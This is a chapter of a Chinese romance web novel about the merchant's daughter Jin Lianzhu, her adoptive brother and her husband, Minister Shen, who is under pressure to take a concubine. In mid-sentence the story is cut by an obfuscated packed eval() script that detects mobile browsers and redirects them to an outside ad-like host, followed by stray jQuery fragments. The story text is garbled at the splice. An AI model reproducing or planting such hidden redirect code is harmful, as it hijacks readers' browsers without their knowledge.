茶楼内客人络绎不绝，另一边雅间内的男客正热火朝天的讨论节后各国使臣献礼之事，窗外充斥着锣鼓声、人声，震耳欲聋。


    大抵是隔壁的姑娘哭得太真情实意，就算靳连珠没听清多少内容，思绪亦不由飞走一瞬，忖度：不知道哪家的姑娘，仗着有长辈撑腰，竟敢私下寻男子说话，张口闭口的就要给人做妾，未免忒不爱惜自个儿。


    仅这一瞬。


    飘走的思绪就被靳连珠抓回来了。


    因着隔壁那档子儿女情长之事，此地不再适宜叙话，靳连珠做了个邀请的手势，打算带着久别重逢的义兄上街，边说边逛，好好赏一赏永平城的元宵盛景。


    可她没听见那姑娘的话，不代表靳子骞也没听见。


    他积年累月在商队里打拼，练就一身好本事，耳力、眼力尤为过人。


    满永平城内，娶商贾之女为妻的沈大人还能有谁？


    靳子骞很难不认为靳连珠这一遭是为抓丈夫的私情来了，眼底晃过一丝悲戚的光，最终还是不舍得当众揭开她的痛处，叹一声暂且放过此事。


    他背着手，步伐款款的跟上，含笑道：“近来身子可好些了？”


    年前寄回淮州的那封家书中，靳连珠唯恐二老担忧，一嘴没提自个儿病得下不来床榻的事儿。靳子骞突然发问，让她倍感意外：“义兄怎么晓得？”


    靳子骞白她一眼，没好气地答曰：“当初欢欢喜喜出远门成婚的胖丫头，现在瘦成风吹就倒、愁眉不展的模样。我又没瞎，怎会看不出来。”


    靳连珠的关注点却偏了，叉着腰气哼哼地反驳：“我从没胖过，休要血口喷人！”


    两人对视着，沉默半晌，突然都抖着肩膀笑个没完。


    气氛里充斥着道不尽的融洽。


    “义兄怎到永平城来了？”说着，靳连珠掏出碎银买下一张糖油饼，掰成两半，认真比较一番大小之后，果断把小的递给靳子骞。


    她冲他一挑眉，表情鬼灵精，险些就让他认为她是真的爽朗大度。


    这份调皮劲儿，简直跟儿时一模一样。


    靳子骞失笑，接过来用油纸包着咬一大口，入嘴甜滋滋、油腻腻，不符合他的口味，因着是靳连珠给的，他硬着头皮都吃完了，随后引她到亭中坐着叙话。


    “元宵之后不久各国使臣前来献礼，永平城商贸大兴，为着能赶上这个一年一度的机会，我带着商队于春节前就出发了。原本计划初二或初三就到这边，还能跟你一起过个年，怪就怪今冬大雪太多，路上耽搁了。”


    “今儿也不算晚，正巧凑得上元宵盛会的热闹。”


    靳连珠话锋一转，奇怪：“人海茫茫，义兄是怎么发现我的？”


    靳子骞理所当然道：“连自家妹子都认不清，我这兄长白做了。”


    这些个俏皮话深得靳连珠欢心，她没计较，笑一笑，向他打听家中情况。


    靳子骞一五一十都说了。


    父亲大人的性子真真儿一刻都闲不下来，前儿跑一趟河都县开丝绸分店，后儿跑一趟义清郡开酒馆。银钱赚得多少已经不在乎了，全为着自己个儿畅快。


    母亲大人仍旧喜爱侍弄花草，家里院子忒小，许多名品栽种培育起来很不方便，父亲大人干脆在临近郊外的地方重金购入一座园子，聘请手艺出众的花匠师傅与母亲大人一同打理，以减轻她的负担。


    家中一切跟靳连珠在的时候相比没有太大的变化，众人的日子过得平淡且舒心，唯一一点——


    靳子骞叹：“二老实在太挂念你了，一度想着割舍掉淮州的产业，举家搬到永平城，以便照料你。”


    闻言，靳连珠鼻酸不已，匆忙低头掩盖红透的眼眶，喉头被翻涌的泪水梗住，使得她一时之间说不出话来。


    斜对面的廊下又有伶人唱起小曲儿，为迎合元宵佳节，唱词饱含团圆美满的寓意。


    靳连珠好不容易压下去的思乡之情再度发作，没忍住掉了一两颗泪珠，砸落在衣裳上，洇开一片湿痕。


    她别过头，用衣袖胡乱擦了擦，徐徐道：“父亲毕生心血都在淮州，怎能说弃就弃。义兄忙完这一遭回去，定要替我好好开解二老，就说，我在这边一切顺利，婆母慈爱、丈夫疼惜，找不出丝毫不顺心的地方，只管叫他们把心放回肚子里。”


    靳子骞欲掏出帕子给她擦眼泪的动作一停，想到酒楼隔间发生的事儿，怒意顷刻间涌入心头，再一瞧靳连珠眼泪汪汪的模样，那股火立即就堙灭了，万千愁绪化为一声长叹：“成，哥哥晓得了。”


    两人语气轻轻地说一会子话，靳连珠使唤白芷去买鱼饵，接着慢悠悠站起身，靠着栏杆，姿态闲散地投喂池中的锦鲤。眼神时不时往街头瞟，生怕错过沈敬行的身影。


    靳子骞耐心候在一旁，等她喂完，立即把干净的帕子递过去，极轻地笑一声。


    靳连珠不解：“？”


    “没什么。”


    靳子骞摇头，说：“想起一件往事罢了。”


    靳连珠偏要追问：“何事？”


    靳子骞稍稍扭脸，目光落在她一张虽有所变化但仍娇艳的面庞上，仿佛穿越分别的两年光阴，又回到幼年时候。


    语调便也随之轻快许多。


    “从前你性子顽劣，为着捞一条鱼，祸害满池子的莲花都败了，气得母亲大人逮着你一顿胖揍，又把你锁在房中大半个月思过。你不服，说莲花易得，鱼儿游走就不再回来了，结果又被收拾一顿。”


    靳子骞独立的早，那会子正跟着旁支的一位大伯共同照看码头生意，偶一天他得空归家用饭，得知靳连珠正闹绝食，一连两天滴米未进，吓得他速速前去解救。


    打开门就看见靳连珠一张苍白的小脸，消瘦一圈，恹恹地趴在矮桌上呼唤义兄。


    靳子骞惯来疼她，当即什么都顾不上了。不但帮着她逃出家门，还把身上所有的银钱都给她，叮嘱她上馆子里吃顿好的。


    经他这么一描述，靳连珠也记起来了，眼睛弯成月牙状。


    像模像样地作揖：“还得多谢义兄搭救。”


    否则依照母亲大人的脾性，非得关着她直到解气为止。那样她压根没机会溜出去，更没有后头误打误撞攀上驿馆的墙头，遇见沈敬行一事。


    往更深处讲，她与沈敬行的这段缘分，还得算上义兄的一份功劳。


    靳子骞对上靳连珠清凌凌的眼仁，却笑不出来。


    早知今日，他当初无论如何都不会帮靳连珠打开那道锁，放她出门，致使她遇见一段孽缘，祸害余生。


    自从途中收到母亲大人所写的信笺，得知靳连珠这桩婚事的真相开始，靳子骞一颗心就没踏实过，总想着快一些，再快一些见着她，总得亲眼确保她无事才成。


    当靳连珠真真儿站在面前，虽然没有提及旁的，靳子骞看着她的样子，也晓得她成婚这些年日子过得并不如意。


    他这趟上永平城，原本只为生意，而今一颗心却全是为着她了。


    情绪逐渐膨胀，有些话到嘴边，变成不得不说的境地。靳子骞不由得上前一步欺近她，压低声量道：“不如，你尽早弃了……”


    话音戛然而止。


    从旁边传来的一道大力突然把靳连珠拽走。她跌跌撞撞倒入温热的胸膛里，柔弱似无骨的指尖甫一触及对方的前襟，紧接着就被掐着腰站直。


    彼此之间拉开一道不短的间隙，阵阵风袭来，吹拂起的清香丝丝缕缕地缠绕着她，其中混杂淡淡的女儿香反倒闻不出来了。


    靳连珠心弦蓦然一动，抬头望去，撞见沈敬行一双幽暗的深眸，顿时雀跃道：“允执。”


    沈敬行还不太习惯于人前被她这么称呼，脸上一闪而过的赧然，随即握住她的腕子稍稍用力把人拽到身后，紧紧盯着脸生的男子，目光如炬。


    虽一言未发，但拷问的意思明了。


    俨然把他当作哄骗良家的登徒浪荡子了。


    靳子骞瞧出眼前这位便是传闻中才貌双全、品行雅正、年少有为的沈尚书，亦是哄得他义妹神魂颠倒，甘愿赌上身家性命都要远嫁到永平城的薄情郎。


    酒楼撞见沈敬行与另一女子私会在前，靳子骞本以为靳连珠会死心，干脆和离，随自己个儿回淮州，一家人团圆的过日子，没成想，她待他不改分毫。


    靳子骞不晓得该气谁，登时垮下脸色。


    两人沉默的对峙，气氛变得有些微妙。


    靳连珠自然察觉到不对劲，轻拽着沈敬行的衣袖，赶忙解释：“这位是我家中义兄，随父亲姓，名唤子骞。趁着各国使臣朝见，永平城内大兴贸易的节骨眼儿，领着人做些生意来了。”


    “许久没见义兄，聊家常聊得起兴，一时没注意...你何时来的？”


    靳连珠见着沈敬行难免就有一肚子话要说，落入靳子骞的眼里变成卑微讨好。


    须知从前的靳连珠恣意快活，是人世间最不羁的小姑娘，怎么成亲之后反倒变了个人一样。


    思及此，靳子骞愈发心气不顺。


    沈敬行闻言则有些愕然。


    靳连珠曾经在信中提过一回，说靳子骞是父亲大人经商途中捡到的，家人因战乱丧命，见他一个孩童就快活不下去，实在可怜，干脆认作义子养着了。


    靳子骞在经商一事上颇有天赋，能力也强，深得父亲大人的信赖，十一二岁起就随着长辈们一并打理铺子。


    沈敬行在淮州的那几月，正巧赶上靳子骞照看码头生意。他整日宿在那方，因而两人不曾打过照面，方才沈敬行没认出他也不奇怪。


    于情于理，沈敬行都该随着靳连珠称呼一声义兄。


    他神色变得恭敬，正欲见礼，靳子骞却别过脸，直接同靳连珠道：“我与相熟的商户约定议事，不好叫人干等着，这便过去了。你也早些归家，别贪恋热闹在外逗留，不太安全。”


    靳连珠一一应下。


    靳子骞顿了顿，瞥一眼沈敬行，意味深长道：“春寒料峭，你身子弱，容易害冷，夜里烧炭火注意着点，最好灌个汤婆子暖一暖手脚。”


    这些关切的话音，靳连珠小的时候常常听靳子骞啰嗦，但她如今已经嫁人，不是小孩子了。靳连珠有些难为情，生怕沈敬行误会自己个儿矫情，含糊答应一声，便拉着他先行离开。


    因着两人碰头太晚，硬生生拖迟太多时候，已不便再去逛一遭。


    主要还是靳连珠担忧归家晚了，被婆母知晓又得逮着她一顿念叨，还不如现在回去，说不准能吃上一碗热乎乎的汤圆。


    马车停在人流较为稀少的东街小巷口，靳连珠刚钻进去，立即感受到一股扑面而来的暖意，随即发现车厢内壁嵌着一层厚皮子，垫子都换成厚实又软绵的了，小几上还放着精致的手炉，脚边烧着一盆炭火。


    她省得这些必然是沈敬行着人置办的，感动之余有几分惊奇，戏谑道：“我家官人什么时候学会体贴娘子啦？”


    沈敬行坐下之后低头整理衣摆，闻言动作一滞，若有所思地低喃：“从前，我待你很不好么？”


    靳连珠随意一说：“同你玩笑一句，怎的当真了。”


    沈敬行定定地看着她，沉默着思索她的话是真是假。


    以往他从不会花费心思干一些捕风捉影的事，也许因着靳子骞那一番兄妹之间关怀的话语，让他心底莫名其妙生出几分不爽，同时又在懊恼自个儿，怎就一直没想到夜里给她灌个汤婆子暖暖手脚。


    靳连珠不知道在想什么，竟没发现他直勾勾的眼神。她捧着手炉，兀自低头，后颈修长白皙，隐约可见青绿色的血管。


    像一大块白花花的芙蓉糕。


    沈敬行抿抿唇，搭在膝头的双手紧攥，克制着没去抚摸。


    两人难得有这么安静的时候，一路无言，直至到家。


    进入雅韵轩，沈敬行还没来得及坐下吃口热气腾腾的汤圆，周妈妈便急匆匆赶来替老夫人传话，叫他到碧波轩去一趟。


    既然是一家子叙话，那么靳连珠也该在。


    沈敬行询问她要不要换身衣裳。


    靳连珠正要搭腔，先瞥见周妈妈为难的神色。


    沈敬行或许不懂得，但她一眼就发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114712|161771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉端倪——定然是婆母有些要紧的话要跟沈敬行说，她这个外人，委实不便在场。


    靳连珠勉强挤出一抹笑，寻个借口圆过去，催着沈敬行出门。


    天色不早，靳连珠料定婆母不会留沈敬行太久，遂安心用了小半碗黑芝麻仁汤圆，看会子话本，唤人伺候着沐浴焚香，最后等来等去不见沈敬行，她实在扛不住倦意，缩进被窝里阖上眼了。


    不知到什么时辰，靳连珠半梦半醒中察觉有双温热的手在被子里到处摸索，紧接着捂住她双脚就不动弹了。


    冷不丁的，吓得靳连珠瞌睡一扫而空，本能的蜷起腿冲着那道黑影就踢过去。


    沈敬行反应迅速，向后闪身躲开，摁在她脚上的手也撤掉了。


    砰得一声巨响，放置在榻边的汤婆子摔到地上，破个口子，热水洒了一地，冒着汩汩热气。


    沈敬行没料到靳连珠会挣扎的如此激烈，不禁皱紧眉，奇怪发问：“你作甚？”


    靳连珠一愣：“...官人？”


    意识到她还迷糊着，沈敬行无奈扶额：“嗯。”


    得到答复，靳连珠悬着的心放回肚子里，往里头挪了挪，给他腾出地方躺下，哀怨地道：“既回来了，怎么不叫人伺候？一点动静都没有，吓坏我了。”


    沈敬行可惜地看一眼地上的汤婆子，打算明日再让下人收拾，自顾自解开外衣，躺进去与她贴着。


    不知是不是底子薄弱，屋内燃着炭火，靳连珠的身上仍旧透着股挥之不去的凉意。


    犹豫一息，沈敬行慢慢抬起胳膊搭在她腰间，察觉她没有反抗便搂紧了些，声量低低：“太晚了，怕吵着你休息。”


    靳连珠喜欢极了他胸膛传来的热乎气，使得整个人都十分熨帖。


    她转过身，面对面与他抱着，借着迷蒙的月光打量他的眉眼，同样低切询问：“什么样要紧的事，让婆母与你聊到这么晚。”


    “……”


    一时之间，沈敬行不知道该如何作答。


    纳妾这事，讲给靳连珠听，只会让她徒增烦恼。


    怪也怪他当初看她病中的样子太骇人，不惜以一个承诺也要换回管家权，情急之下掉入母亲的圈套。


    岂料，母亲拿这事作筏子，强逼他纳妾。


    沈敬行一而再再而三的回绝母亲，表明心意绝不蓄婢纳妾。


    没成想，他在碧波轩说的话，被母亲有心差人传入那姑娘的耳朵里。


    她也是个胆子大的，竟然派人尾随他到茶楼，见小厮劝解不成，干脆亲自露面，哭得一把鼻涕一把泪，求他开恩收下她。


    依照沈敬行强硬的脾性，绝对不会留丝毫情面就把人打发了。


    偏偏，对方出自绥武府。


    虽是庶出的姑娘，但家中嫡姐乃深受官家宠爱的宜妃娘娘，因着这一层关系，绥武府称得上皇亲国戚，满门风头正盛，轻易怠慢不得。


    沈敬行这才肯耐着性子坐下听她哭了一场。


    三言两语的，他便发觉出端倪。


    大抵是这姑娘的小娘把沈家夸得天上有地下无，让她动了非进门不可的决心。


    毕竟当娘的一心为着孩子考虑，哪里舍得让宝贝姑娘嫁个穷举子，草草了却余生，只觉得哪怕做妾，也比吃大半辈子的清贫苦要强。


    况且，两家素有旧交，结亲便是亲上加亲。


    沈家讲究勤俭节约，家底却殷实，再算上大娘子靳氏从淮州带来的丰厚嫁妆，更是享受不完的荣华富贵。


    老夫人脾性善、好相与，大娘子又是个性子软身子差的商贾女，生不生得下孩子另说，想她也没有那些治理内宅的雷霆手腕，全然构不成威胁。


    沈敬行年少有为、相貌堂堂，放眼全皇城都挑不出第二个像他这样的翩翩公子，比那些不知道这辈子还能不能混出头的穷举子强上千万倍。


    在这家做妾，身心都不负累，妥妥就是享福来了。


    母女俩算盘打得叮当响，唯独没料到沈敬行铁了心了说不愿意，这才有了今日的一场闹剧——沈敬行从对方口中听见并不恭敬的一声“商贾女”，立即冷了脸，怒火从心而起，拍桌呵斥她闭嘴，接着吩咐拂冬把人送回绥武府，务必在荣老爷面前好生说道一番。


    放纵未嫁女尾随男子，还哭着喊着闹着要做妾，成何体统！


    只是没想到，这事儿这么快就传入葛氏耳朵里，亦没料到，葛氏竟不惜把家事捅到太后娘娘跟前儿，兴许这会子，官家也知晓了……


    这一回，葛氏打定主意要逼沈敬行就范，无奈他满心满眼都是大娘子，也只想与之厮守一生。


    所习得的礼义廉耻不允许沈敬行做一个背信弃义的负心汉，故而，他万万不可能纳别的女子进门。


    正烦着，靳连珠冰凉的脚尖碰到沈敬行，成功唤回他的一丝神智。


    沈敬行现在一脑门子官司，徐徐吐出一口郁气，答曰：“都是些家长里短罢了，无甚可说的。”


    靳连珠很是了解他，见状就猜到事儿恐怕不简单。


    她摸黑抚上沈敬行的面颊，柔声问：“难得见你唉声叹气的样子，到底怎么了？不管什么难处，我们共同想法子，总比你一个人承担要强。”


    “真就只是寻常叙话而已，别胡思乱想。严郎中说过，你身子骨这么虚弱，十有八九是心思太重引起的。”


    沈敬行一口否决，松开她，翻身坐起来，到床尾去了。


    靳连珠猜不到他要作甚，正准备跟过去，被子下的一双脚突然被拢住。他掌心暖烘烘的，烫得她脸颊也烧起来了。


    这样私密的事儿，浑然不像沈敬行一惯的作派。


    靳连珠拉高被子遮住大半张脸，肩膀缩着，活像只鹌鹑。


    她有些受宠若惊，更多是羞怯，致使舌头都捋不直了，跟喘一样儿喃喃：“允执，不必这样的，我其实一点儿也不冷。你，快回来歇着。”


    “嗯。”沈敬行含糊应一声，歪着身子靠在床柱上，懒懒散散地合眼，手掌保持合拢的姿势没动，哄似地说：“焐热了就躺回去，你且睡，不必管我。”